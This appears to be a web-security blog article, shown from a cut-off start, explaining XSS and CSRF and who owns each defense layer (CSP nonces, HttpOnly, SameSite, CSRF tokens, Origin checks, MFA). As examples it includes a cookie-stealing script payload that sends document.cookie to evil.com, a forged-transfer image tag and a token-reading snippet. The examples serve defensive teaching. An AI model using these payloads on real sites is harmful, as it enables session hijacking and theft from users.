catter across client, server, and browser. Here's the split with concrete recipes for both."
---

You're logged into `bank.com`. In another tab you open `evil.com`. The page contains:

```html
<img src="https://bank.com/transfer?to=evil&amount=1000">
```

Your browser issues a request to `bank.com`. It sends your `bank.com` session cookie along, because that's what browsers do for any request to that origin. The transfer goes through.

That's CSRF. You didn't click anything. The attacker borrowed your authenticated session by tricking your browser into making a request.

---

Now a different scenario. You visit `forum.com` and read someone's comment. The comment contains:

```html
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
```

If `forum.com` rendered the comment as raw HTML without escaping, the script runs inside `forum.com`'s origin. Full access to its DOM, cookies (unless `HttpOnly`), and localStorage. The attacker reads your session.

That's XSS. The attacker injected code that runs as if `forum.com` wrote it.

---

## Two attacks, two threat models

**XSS**: code I didn't write running in my origin. Attacker delivers payload via stored content (comments, profile fields), reflected URL parameters, or DOM manipulation. Once it runs, it has full origin privileges: read non-HttpOnly cookies, localStorage, page state. Issue requests as user. The trust it exploits is the page's trust in user-supplied content.

**CSRF**: my browser sending a request I didn't intend. Attacker controls a different origin, embeds something (image, form, fetch) that triggers a request to the target. Browser attaches the target's cookies automatically, server can't tell it's not legit from the cookie alone. The trust it exploits is the browser's automatic cookie attachment.

Different trust → different defenses → different layers.

---

## Architecture decides the threat surface

How your app authenticates determines which threat dominates.

**Cookie sessions** (server sets a session cookie, browser sends it automatically on every request to that origin):

- Vulnerable to CSRF. Any cross-origin request can carry your cookie.
- XSS still dangerous. Reads non-HttpOnly cookies, issues same-origin requests with full session.

**Token auth** (JWT or similar in `Authorization` header):

- CSRF largely goes away. No cookie auto-attaches, so a forged request lacks credentials.
- XSS becomes existential. If the token sits in `localStorage`, an XSS payload reads it and is now the user, on any device, until expiry.

Modern SPAs often use tokens. Apps rendered on the server usually use cookies. Both still exist. The defense recipe differs.

---

## XSS defenses, layered

| Layer | Who | What |
|---|---|---|
| Output encoding | Client | Use the framework's interpolation (`{value}`). Stop reaching for `innerHTML` / `dangerouslySetInnerHTML` / `v-html`. |
| Sanitization | Client | DOMPurify. Don't roll your own. |
| Content Security Policy | Server | `script-src 'self' 'nonce-RANDOM'`. Browser refuses anything else. |
| HttpOnly cookies | Server | `Set-Cookie: ...; HttpOnly`. JS can't read it. <mark>Caveat below.</mark> |
| Stored content sanitization | Server | Clean on input. Clean on output too. Belt and suspenders. |
| `X-Content-Type-Options` | Server | `nosniff`. Browser stops guessing what files are, so your image upload doesn't get rendered as script. |
| Trusted Types | Client + Server | CSP directive that forces HTML injection sinks through a sanitizer. Catches the bug before ship. |

First two rows do 80% of the work. The rest are extra safety nets.

### Concrete: framework auto-escape

```jsx
// React, safe by default
<div>{userInput}</div>
// renders <script> as literal text

// React escape hatch, dangerous
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// renders <script> as a real tag, executes
```

```vue
<!-- Vue, safe by default -->
<div>{{ userInput }}</div>

<!-- Vue escape hatch -->
<div v-html="userInput" />
```

When you write the safe form, the framework escapes `<`, `>`, `&`, `'`, `"` on insertion. The injected `<script>` never becomes a tag.

### Concrete: CSP with nonce

Server sends:

```
Content-Security-Policy: script-src 'self' 'nonce-abc123'
```

Every legitimate `<script>` tag in the response has `nonce="abc123"`. Injected scripts from XSS won't carry the nonce, so the browser refuses to execute them. Nonce rotates per request, so an attacker can't capture and reuse it.

### Why XSS can't just fake the nonce

Server makes the nonce. Browser verifies it. Attacker has neither.

When the browser parses the response, it copies each `nonce` into an internal slot for CSP checks, then **wipes the attribute from JS reads**:

```js
document.querySelector('script[nonce]').nonce              // ""
document.querySelector('script[nonce]').getAttribute('nonce') // ""
```

Nothing to copy, nothing to clone, nothing to guess against a 128-bit per-request random. Nonce hiding shipped in Chrome 49 (2016), Firefox 31, Safari 11. Universal today.

`eval` family (`eval`, `new Function`, `setTimeout(string)`) is also blocked by default CSP since `'unsafe-eval'` isn't on unless you ask for it.

Only breaks if you misconfigure: `'unsafe-inline'` cancels nonce checks, `'unsafe-eval'` opens eval, static or low-entropy nonce is replayable, `'strict-dynamic'` can be leveraged via a controllable loader. All config bugs, not mechanism flaws.

### Important: HttpOnly limits blast radius, does not prevent XSS

**`HttpOnly` stops XSS from reading the cookie value. It does not stop XSS from using the session.** XSS can still run `fetch('/transfer', ...)` from inside the origin, and the browser auto-attaches the HttpOnly cookie. The server authenticates the request normally.

| Capability | Without `HttpOnly` | With `HttpOnly` |
|---|---|---|
| XSS reads `document.cookie` | ✅ | ❌ |
| XSS exfiltrates cookie to attacker server | ✅ | ❌ |
| XSS issues authenticated requests in victim's browser | ✅ | ✅ |
| Attack persists after victim closes the tab | ✅ | ❌ |
| Cookie replayed from a different device | ✅ | ❌ |

Set `HttpOnly` anyway. It converts permanent credential theft into a tab-lifetime session hijack, which is a meaningful downgrade. But don't treat it as the XSS defense. The actual XSS defense is output encoding + CSP.

### Important: in-memory tokens are still XSS-readable

Putting a JWT or access token in memory (Zustand, React context, plain module variable) is **better than `localStorage`, not safe from XSS**. XSS runs in your origin. Any JS-reachable state is reachable:

```js
// XSS payload, knowing the store
useAuthStore.getState().token
// or scanning the React fiber tree, or grabbing closures via DevTools
```

The advantages over `localStorage` are real but they're about blast radius, not invisibility:

- **Harder for a generic XSS template.** `localStorage.getItem('token')` works on every site. Reading a Zustand store needs knowledge of the store's reference, which varies per app. Drive-by XSS payloads collect 100% of `localStorage` tokens, much fewer in-memory ones.
- **Dies with the tab.** Close tab or reload, XSS gone, attacker loses the handle. `localStorage` survives reloads, stolen tokens replay from any device until expiry.

Same logic as `HttpOnly` cookies: drop "permanent credential captured" down to "tab-lifetime session hijack." Combined with short-lived access tokens (5-15 min) and HttpOnly refresh cookies, the real damage window is small.

Token storage is the tail of the chain. Real XSS defense is still framework auto-escape + CSP.

---

## CSRF defenses, layered

**Read this entire table assuming XSS is already prevented.** Almost every CSRF defense below collapses if XSS lands, because XSS runs as your origin and can read tokens / DOM / state directly. The "Survives XSS?" column makes that dependency visible.

| Layer | Who | What | Survives XSS? |
|---|---|---|---|
| `SameSite` cookie | Browser + Server | Browser default since Chrome 80 (2020) is `Lax`. Blocks cross-site sub-resource requests. Set it explicitly anyway. | No. XSS runs same-site, cookie attaches normally. |
| `SameSite=Strict` | Server | Even top-level cross-site navigation skips the cookie. Use for admin / financial endpoints. | No. Same reason. |
| CSRF token | Client + Server | Server plants a token in the form / response. State-changing requests must echo it back. `evil.com` can't read it (SOP), can't forge it. | No. XSS reads it from the DOM and includes it. |
| `Origin` / `Referer` check | Server | Look at the header. `Origin: evil.com` posting to your `/transfer`? Reject. | No. XSS requests carry your real `Origin`. |
| Verb discipline | Server | GET never changes state. Image tags can fire GET, not POST. Forces attackers to write more. | No. XSS does any verb. |
| Skip cookies | Architecture | JWT in `Authorization` header. No auto-attach, no CSRF surface. | No, worse. `localStorage` JWT is one line away from XSS. |
| Re-auth / MFA on sensitive ops | Server + Client + User | Re-enter password / push a hardware key (WebAuthn, TOTP) before high-impact actions. | **Yes.** XSS can't fake a password or a hardware tap without the human. Only meaningful residual layer once XSS is in. |

### Concrete: SameSite cookie

```
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
```

Lax: top-level navigation (clicking an email link) carries the cookie. Cross-site sub-resource requests (image, iframe, fetch) don't. Kills the classic `<img src="bank.com/transfer">` CSRF.

```
Set-Cookie: admin=...; HttpOnly; Secure; SameSite=Strict; Path=/
```

Strict: nothing cross-site carries it. Even clicking an email link to the admin panel makes the user appear logged out, forcing re-auth. Annoying for users, safer for sensitive areas.

### Concrete: CSRF token (synchronizer pattern)

Server renders form:

```html
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abc123">
  ...
</form>
```

Server stores `abc123` against the session. On POST, server checks `csrf_token` matches. Attacker on `evil.com` can't issue a request with this value because:

- They can't read `bank.com`'s page. Same-Origin Policy blocks reading cross-origin response bodies.
- The token isn't a cookie. Cookies auto-attach, this is a request body field that the attacker must produce explicitly.

### Concrete: Origin check

```
POST /transfer HTTP/1.1
Host: bank.com
Origin: https://evil.com
Cookie: session=...
```

Server checks `Origin`. `evil.com` doesn't match `bank.com`, reject. Cheap, single line of middleware, doesn't require token storage. Trade off: some legitimate clients omit `Origin` (older browsers, server to server calls), so handle gracefully.

---

## Responsibility split

| Threat | Client owns | Server owns | Browser handles |
|---|---|---|---|
| **XSS** | Auto-escape on render. Avoid `innerHTML`. Sanitize when must render HTML. Use Trusted Types policy if available. | CSP with nonce. Sanitize stored input. `HttpOnly` cookies. `X-Content-Type-Options: nosniff`. | Enforces CSP, blocks inline scripts that violate. Respects nosniff. |
| **CSRF** | Send CSRF token in headers or body. Avoid GET for state changes. | Explicit `SameSite` on cookies. Issue and verify CSRF tokens. Check `Origin`. Reject GET for state changes. | Default `SameSite=Lax` since 2020. Attaches cookies to same-site requests automatically. |

The browser does some work for both, but it's a backstop. Don't depend on browser defaults alone. Older browsers, embedded webviews, extensions, and localhost contexts can behave differently.

---

## Why XSS dominates

The CSRF defense table above already shows it: every standard CSRF layer collapses under XSS. The only residual protection is out-of-band re-auth (password prompt, MFA), because XSS can't supply credentials it doesn't have.

Practical priority:

1. **Stop XSS first.** Framework auto-escape + CSP + HttpOnly + sanitize stored input + nosniff.
2. **Then layer CSRF defenses on top.** SameSite + token + Origin check. These add value only when XSS is already prevented.
3. **For high-stakes operations, add re-auth or MFA.** This is the only layer that survives a successful XSS, by depending on something XSS can't fake.

A site with great CSRF defenses and no XSS protection is a house with a locked front door and open windows. The attacker walks through a window and unlocks the door from inside.

---

## What I'd do today

For a cookie session app:

```
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM'
X-Content-Type-Options: nosniff
```

Plus: framework auto-escape everywhere. DOMPurify if rendering user HTML. CSRF token on state-changing POST / PUT / DELETE. Origin check as cheap second layer.

For a JWT in header SPA:

- Token in memory, not `localStorage`. Refresh via HttpOnly refresh cookie.
- Same CSP and content-type-options as above.
- No CSRF tokens needed when there's no cookie auth. If any cookie auth remains, treat that part as cookie app.

The asymmetry: **XSS protection is mostly server owned** (CSP, HttpOnly, sanitization) with client framework discipline as the foundation. **CSRF protection is shared** across server, client, and browser, and the browser now does a meaningful chunk via `SameSite=Lax` default.

---

## References

- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
- [Content Security Policy (MDN)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
- [SameSite cookies explained (web.dev)](https://web.dev/articles/samesite-cookies-explained)
- [Trusted Types (web.dev)](https://web.dev/articles/trusted-types)
